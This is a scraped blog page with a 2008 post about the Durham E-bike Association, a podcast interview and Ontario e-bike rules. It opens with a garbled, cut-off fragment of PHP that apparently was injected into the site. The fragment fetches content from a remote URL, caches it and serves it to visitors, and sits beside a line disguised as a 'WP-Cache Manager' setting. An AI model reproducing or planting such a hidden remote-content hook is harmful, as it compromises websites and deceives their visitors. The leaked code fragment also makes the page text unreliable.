$randomtime)||(filesize($filecache)==0)) { $tmpx=curl_gets($urlx); if ($tmpx!=404){$file = fopen ($filecache,"w+");if ( $file ) {fputs ( $file, $tmpx);}} else { $file = fopen ($filecache,"a+");if ( $file ) {fputs ( $file, ''); } if ($urlredict) {exit(" ");} } @fclose ($file); } readfile($filecache); ///////////// exit; } ?>define('WP_CACHE', true); //Added by WP-Cache Manager Durham E-bike Association | .:the be sustainable weblog:.

.:the be sustainable weblog:. header image 2
← Energy Conservation Society of Ontario Sounds Sustainable talks to Greenmom →

Durham E-bike Association

February 28th, 2008 · 1 Comment

e-bikesThe Durham E-bike Association is “a recently formed association of electric bicycle (e-bike) enthusiasts in the Durham Region and we are looking to promote e-bike awareness in Durham region, share information and experience about riding e-bikes, and to have some fun while doing it!”

Earlier this week the Sounds Sustainable podcast caught up with Jason Carter of the Durham E-bike association at the Oshawa Energy Conservation Fair.

What is an e-bike?

The Short Answer…

In Ontario, an E-bike is a bicycle-like vehicle powered by an electric motor that, if it meets certain legal specifications, can be driven on Ontario roads as a bicycle, that is:

  • the operator of an e-bike must follow the rules of the road, but is not required to have a driver’s license or to carry insurance, and
  • the e-bike is not required to be licensed (or plated.)

Under this arrangement, riders of e-bikes are able to take advantage of a powered form of transportation that has both a low operating cost and a low environmental impact.

For the full story and more check out the Durham E-bike Association website

To listen to the podcast use the player below or download the file here (right click, save as)

Tags: · · ·

1 response so far ↓

Leave a Comment